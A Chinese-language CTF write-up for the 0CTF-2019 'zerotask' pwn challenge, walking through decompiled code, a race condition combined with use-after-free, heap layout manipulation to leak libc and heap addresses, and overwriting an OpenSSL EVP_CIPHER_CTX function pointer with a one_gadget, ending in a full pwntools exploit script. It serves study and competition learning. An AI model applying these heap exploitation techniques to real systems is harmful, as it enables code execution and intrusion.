美文网首页CTF-PWN
0CTF-2019 zerotask

0CTF-2019 zerotask

作者: Nevv | 来源:发表于2019-04-02 14:53 被阅读0次

    zerotask

    ​ 拿到题目首先运行下,IDA打开分析main函数,可以看到有创建进程和删除进程的操作,一般来说就是条件竞争了,这个题目大概的功能就是创建一个加解密的结构体,然后对文本进行加解密。

    nevv@ubuntu:~/Desktop$ checksec task_52f1358baddfd3d4026da4d8c0735e52 
    [*] '/home/nevv/Desktop/task_52f1358baddfd3d4026da4d8c0735e52'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    

    main函数

    void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
    {
      int v3; // eax
      unsigned int v4; // [rsp+18h] [rbp-8h]
    
      v4 = 0;
      pre_handle();
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            menu();
            v3 = get_choice();
            if ( v3 != 2 )
              break;
            delete();
          }
          if ( v3 == 3 )
            break;
          if ( v3 != 1 )
          {
            puts("bye");
            exit(1);
          }
          create();
        }
        if ( v4 > 2 )
        {
          puts("bye");
          exit(1);
        }
        action();
        ++v4;
      }
    }
    

    create函数

    void *sub_1354()
    {
      void *result; // rax
      int en_or_de; // [rsp+0h] [rbp-10h]
      int v2; // [rsp+4h] [rbp-Ch]
      void *key_struct; // [rsp+8h] [rbp-8h]
    
      printf("Task id : ", 0LL);
      v2 = get_choice();
      printf("Encrypt(1) / Decrypt(2): ");
      en_or_de = get_choice();
      if ( en_or_de != 1 && en_or_de != 2 )
        return (void *)0xFFFFFFFFLL;
      key_struct = malloc(0x70uLL);
      memset(key_struct, 0, 0x70uLL);
      if ( !(unsigned int)sub_11A8(en_or_de, (__int64)key_struct) )
        return (void *)0xFFFFFFFFLL;
      *((_DWORD *)key_struct + 24) = v2;
      *((_QWORD *)key_struct + 13) = qword_202028;
      result = key_struct;
      qword_202028 = (__int64)key_struct;
      return result;
    }
    
    signed __int64 __fastcall sub_11A8(int en_or_de, __int64 key_struct)
    {
      __int64 v3; // rsi
      __int64 v4; // [rsp+0h] [rbp-30h]
      __int64 v5; // [rsp+14h] [rbp-1Ch]
    
      printf("Key : ", key_struct);
      sub_F82(v4 + 0x14, 32);    // key 
      printf("IV : ", 32LL);
      sub_F82(v4 + 0x34, 16);    // iv
      printf("Data Size : ", 16LL);    // data_size
      v5 = (unsigned int)get_choice();
      if ( (signed int)v5 <= 0 || (signed int)v5 > 4096 )
        return 0LL;
      *(_QWORD *)(v4 + 8) = (signed int)v5;   // v5 store data size --> v4+8
      *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new();
      if ( en_or_de == 1 )
      {
        v3 = EVP_aes_256_cbc();
        EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
      }
      else
      {
        if ( en_or_de != 2 )
          return 0LL;
        v3 = EVP_aes_256_cbc();
        EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
      }
      *(_DWORD *)(v4 + 16) = en_or_de;
      *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));
      if ( !*(_QWORD *)v4 )
        exit(1);
      printf("Data : ", v3);
      sub_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8));
      return 1LL;
    }
    

    根据以上操作我们可以推断出结构体,限制了data的大小大于0小于4096:

    struct key_struct{
        + 0 data;
        + 8  data_size;
        + 13 qword_202028;
        + 16 en_or_de;
        + 20 key;
        + 24 task_id;
        + 52 IV;
        + 88 EVP_CIPHER_CTX_new;
        + 104 next_struct;
    }
    

    根据分析,在创建的时候程序总计创建了4个堆块(按照如下的创建顺序):

    • key_struct 0x80
    • EVP_CIPHER_CTX 0xb0
    • EVP_CIPHER_CTX 创建的EVP_RC4_KEY对(256bit)象。0x110
    • data_size分配的堆块 小于4096

    delete函数

    void delete()
    {
      int v0; // [rsp+Ch] [rbp-14h]
      void **ptr; // [rsp+10h] [rbp-10h]
      _int64 v2; // [rsp+18h] [rbp-8h]
    
      ptr = (void **)qword_202028;
      v2 = qword_202028;
      printf("Task id : ");
      v0 = get_choice();
      if ( qword_202028 && v0 == *(_DWORD *)(qword_202028 + 96) )
      {
        qword_202028 = *(_QWORD *)(qword_202028 + 104);
        EVP_CIPHER_CTX_free(ptr[11]);
        free(*ptr);
        free(ptr);   // 没有置为null,存在明显的uaf漏洞
      }
      else
      {
        while ( ptr )
        {
          if ( v0 == *((_DWORD *)ptr + 24) )
          {
            *(_QWORD *)(v2 + 104) = ptr[13];
            EVP_CIPHER_CTX_free(ptr[11]);
            free(*ptr);
            free(ptr);
            return;
          }
          v2 = (__int64)ptr;
          ptr = (void **)ptr[13];
        }
      }
    }
    

    action函数

    unsigned __int64 sub_165A()
    {
      int v1; // [rsp+4h] [rbp-1Ch]
      pthread_t newthread; // [rsp+8h] [rbp-18h]
      void *arg; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      printf("Task id : ");
      v1 = get_choice();
      for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
      {
        if ( v1 == *((_DWORD *)arg + 24) )
        {
          pthread_create(&newthread, 0LL, start_routine, arg);
          return __readfsqword(0x28u) ^ v4;
        }
      }
      return __readfsqword(0x28u) ^ v4;
    }
    
    void __fastcall __noreturn start_routine(void *a1)
    {
      int v1; // [rsp+14h] [rbp-2Ch]
      __int128 v2; // [rsp+18h] [rbp-28h]
      __int64 v3; // [rsp+28h] [rbp-18h]
      __int64 v4; // [rsp+30h] [rbp-10h]
      unsigned __int64 v5; // [rsp+38h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      v2 = (unsigned __int64)a1;
      v1 = 0;
      v3 = 0LL;
      v4 = 0LL;
      puts("Prepare...");
      sleep(2u);      // ---------  这个slepp()函数的使用可能导致条件竞争漏洞 ----------
      memset(qword_202030, 0, 0x1010uLL);
      if ( !(unsigned int)EVP_CipherUpdate(
                            *(_QWORD *)(v2 + 88), //EVP_CIPHER_CTX_new
                            qword_202030,
                            &v1,
                            *(_QWORD *)v2,  // data
                            (unsigned int)*(_QWORD *)(v2 + 8)) )  // data_size
        pthread_exit(0LL);
      *((_QWORD *)&v2 + 1) += v1;
      if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
        pthread_exit(0LL);
      *((_QWORD *)&v2 + 1) += v1;
      puts("Ciphertext: ");
      sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL);  // print ciphertext
      pthread_exit(0LL);
    }
    

    利用思路

    0x1 泄漏地址

    • 首先比较明确的一点就是要利用 sleep 导致的条件竞争漏洞
    • 程序的功能本身是加密、解密、打印,并且密钥是我们可以指定的,那么考虑是不是可以泄漏出某些信息呢?

    继续上面思路的思考:

    • 首先有删除功能,在我们选择一个特定的加密线程的时候,由于其data域正好是chunk的fd字段,那么在真正的进入加密操作的时候,我们把这个加密的结构体free掉,其fd会正好指向tcache中上一个空闲的堆块,这样加密的时候就会加密上一个空闲堆块的内容,这样的话就可以构造空闲堆块中即有堆地址也有libc基地址,那么这样的话就能够泄露出地址信息。

    但是其中也会有一些我们需要解决的问题:

    • 在free的时候EVP_CIPHER_CTX也会被free掉,导致加密出错,如果重新创建任务的话会导致想要利用的结构体被重新malloc,这样的话其data也会被新的内存地址覆写,而不是之前我们预期的指向另外一个结构体。

    综合以上

    • 我们需要在一次的打印中同时leak出libc和heap,需要构造一个 unsorted bin,另外在释放结构体的时候,必须让其EVP_CIPHER_CTX被重新分配出去新建一个EVP_CIPHER_CTX对象保证加密不出错

    • 首先创建4个结构释放,填充tcache

      for i in range(0,4):
          ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
      

      释放后,此时结构为:

      tcache:
      0x80 *4
      0x110 *7
      0xb0 4-3-2-1
      unsortbin
      0x110
      

      这里结合dl的解题脚本看:

      go('20')
      de('20')
      
      de('21')
      de('22')
      

      释放后,此时结构为:

      tcache:
      0x80 22-21-20-0x80*4
      0x110 *7
      0xb0 22_21_20-4-3-2-1
      unsortbin
      0x110
      

      在内存空间上看大概是这个样子的

      | 20的上个结构体
      |
      | 20的上个结构体的data (unsorted bin 0x110大小)
      | 20的结构体 (进入0x80 的tcache后 其data指针域指向上个结构体)
      |
      | EVP_CIPHER_CTX 
      |
      | 21的结构体
      |
      |
      |
      | 22的结构体
      

      然后再进行分配:

      ad('21','1','a'*32,'a'*16,'160','1'*160)
      ad('22','1','a'*32,'a'*16,'8','1'*8)
      

      再次添加21的data的时候会把20的EVP_CIPHER_CTX分配出去,然后添加22的时候就会把原本存储20结构体的EVP_CIPHER_CTX域分配给22当作它的EVP_CIPHER_CTX域

    0x2 劫持控制流

    ​ 此时我们已经的到了libc和heap的地址,考虑怎么劫持控制流,现在我们能够:

    • 根据条件竞争和UAF漏洞,我们可以伪造chunk进而构造假的EVP_CIPHER_CTX结构体

    • 程序的大体流程上基本无法劫持控制流

      因此可以具体去看下加解密函数EVP_EncryptUpdate,找一找EVP_CIPHER_CTX中有没有我们感兴趣的函数指针,这样的话直接在函数指针的位置直接写onegadget即可。

      Breakpoint * EVP_CipherUpdate
      pwndbg> x /100i 0x7f1118090690
      => 0x7f1118090690 <EVP_CipherUpdate>: mov    eax,DWORD PTR [rdi+0x10]
         0x7f1118090693 <EVP_CipherUpdate+3>:   test   eax,eax
         0x7f1118090695 <EVP_CipherUpdate+5>:   jne    0x7f11180906a0 <EVP_CipherUpdate+16>
         0x7f1118090697 <EVP_CipherUpdate+7>:   jmp    0x7f11180904e0 <EVP_DecryptUpdate>
         0x7f111809069c <EVP_CipherUpdate+12>:  nop    DWORD PTR [rax+0x0]
         0x7f11180906a0 <EVP_CipherUpdate+16>:  jmp    0x7f1118090180 <EVP_EncryptUpdate>
         0x7f11180906a5:    nop
         0x7f11180906a6:    nop    WORD PTR cs:[rax+rax*1+0x0]
         0x7f11180906b0 <EVP_DecryptFinal_ex>:  push   r14
         0x7f11180906b2 <EVP_DecryptFinal_ex+2>:    push   r13
         0x7f11180906b4 <EVP_DecryptFinal_ex+4>:    mov    r13,rsi
         0x7f11180906b7 <EVP_DecryptFinal_ex+7>:    push   r12
         0x7f11180906b9 <EVP_DecryptFinal_ex+9>:    push   rbp
         0x7f11180906ba <EVP_DecryptFinal_ex+10>:   mov    r12,rdx
         0x7f11180906bd <EVP_DecryptFinal_ex+13>:   push   rbx
         0x7f11180906be <EVP_DecryptFinal_ex+14>:   mov    rax,QWORD PTR [rdi]
         0x7f11180906c1 <EVP_DecryptFinal_ex+17>:   mov    rbx,rdi
         0x7f11180906c4 <EVP_DecryptFinal_ex+20>:   mov    DWORD PTR [rdx],0x0
         0x7f11180906ca <EVP_DecryptFinal_ex+26>:   test   BYTE PTR [rax+0x12],0x10
         0x7f11180906ce <EVP_DecryptFinal_ex+30>:   je     0x7f11180906f8 <EVP_DecryptFinal_ex+72>
         0x7f11180906d0 <EVP_DecryptFinal_ex+32>:   xor    ecx,ecx
         0x7f11180906d2 <EVP_DecryptFinal_ex+34>:   xor    edx,edx
         0x7f11180906d4 <EVP_DecryptFinal_ex+36>:   xor    ebp,ebp
         0x7f11180906d6 <EVP_DecryptFinal_ex+38>:   call   QWORD PTR [rax+0x20]
         0x7f11180906d9 <EVP_DecryptFinal_ex+41>:   test   eax,eax
         0x7f11180906db <EVP_DecryptFinal_ex+43>:   js     0x7f11180906e6 <EVP_DecryptFinal_ex+54>
         0x7f11180906dd <EVP_DecryptFinal_ex+45>:   mov    DWORD PTR [r12],eax
         0x7f11180906e1 <EVP_DecryptFinal_ex+49>:   mov    ebp,0x1
         0x7f11180906e6 <EVP_DecryptFinal_ex+54>:   pop    rbx
         0x7f11180906e7 <EVP_DecryptFinal_ex+55>:   mov    eax,ebp
         0x7f11180906e9 <EVP_DecryptFinal_ex+57>:   pop    rbp
      
      
      • 可以看到在对EVP_CipherUpdate函数调用的时候,在0x7f11180906d6 <EVP_DecryptFinal_ex+38>: call QWORD PTR [rax+0x20]这条指令,是吧EVP_CIPHER_CTX+0x20这个偏移位置当作函数指针去调用,这里注意还要过掉下边的检查:

        0x7f11180906ca <EVP_DecryptFinal_ex+26>:    test   BYTE PTR [rax+0x12],0x10
        
      • 这样我们只需要把这个地址为覆盖为one_gadget即可

    exp:

    ​ 附上大佬的exp:

    from pwn import *
    import time
    p=process('./task')
    e=ELF('./libc-2.27.so')
    #p=remote('111.186.63.201',10001)
    p.readuntil('Choice:')
    context(log_level='debug')
    
    
    def ad(a,b,c,d,e,f):
        p.writeline('1')
        p.readuntil('Task id :')
        p.writeline(a)
        p.readuntil('Encrypt(1) / Decrypt(2):')
        p.writeline(b)
        p.readuntil('Key :')
        p.write(c)
        p.readuntil('IV :')
        p.write(d)
        p.readuntil('Data Size :')
        p.writeline(e)
        p.readuntil('Data')
        p.write(f)
        p.readuntil('Choice:')
    def de(a):
        p.writeline('2')
        p.readuntil('Task id :')
        p.writeline(a)
        p.readuntil('Choice:')
    def go(a):
        p.writeline('3')
        p.readuntil('Task id :')
        p.writeline(a)
        p.readuntil('Choice:')
    
    for i in range(0,4):
        ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
    
    
    ad('20','1','a'*32,'a'*16,'592','1'*592)
    ad('21','1','a'*32,'a'*16,'8','1'*8)
    ad('22','1','a'*32,'a'*16,'8','1'*8)
    ad('23','1','a'*32,'a'*16,'8','1'*8)
    ad('24','1','a'*32,'a'*16,'8','1'*8)
    for i in range(0,4):
        de(str(i))
    
    go('20')
    de('20')
    
    de('21')
    de('22')
    ad('21','1','a'*32,'a'*16,'160','1'*160)
    ad('22','1','a'*32,'a'*16,'8','1'*8)
    p.readuntil('Ciphertext: n')
    
    st=''
    
    for i in range(0,38):
        q=0
    
    
    
        for ii in range(0,16):
                zzz=p.read(3)
    
                zz=chr(int(zzz[0:2],16))
    
    
                st+=zz
                if 'n'in zzz:
                    q=1
                    break
        if q==0:
            p.read(1)        
    
    
    
    ad('66','2','a'*32,'a'*16,str(len(st)),st)
    go('66')
    p.readuntil('Ciphertext: n')
    
    z=p.readuntil('20 ')
    z=chr(0x20)
    for i in range(0,7):
        z+=chr(int(p.read(3)[0:2],16))
    heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
    p.readuntil('11 01 ')
    z=p.readuntil('na0 ')
    z=chr(0xa0)
    for i in range(0,7):
        z+=chr(int(p.read(3)[0:2],16))
    
    libc=u64(z)-4111776
    one=libc+0x10a38c
    success(hex(libc))
    success(hex(heap))
    
    
    gdb.attach(p)
    
    go('22')
    de('22')
    de('23')
    
    
    
    ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)
    
    success(hex(heap))
    
    success(hex(libc))
    
    p.interactive()
    

    ​ 最后小结一下,本题的核心思想还是通过条件竞争对UAF漏洞的利用。

    参考链接

    相关文章

      网友评论

        本文标题:0CTF-2019 zerotask

        本文链接:https://www.haomeiwen.com/subject/bfrgbqtx.html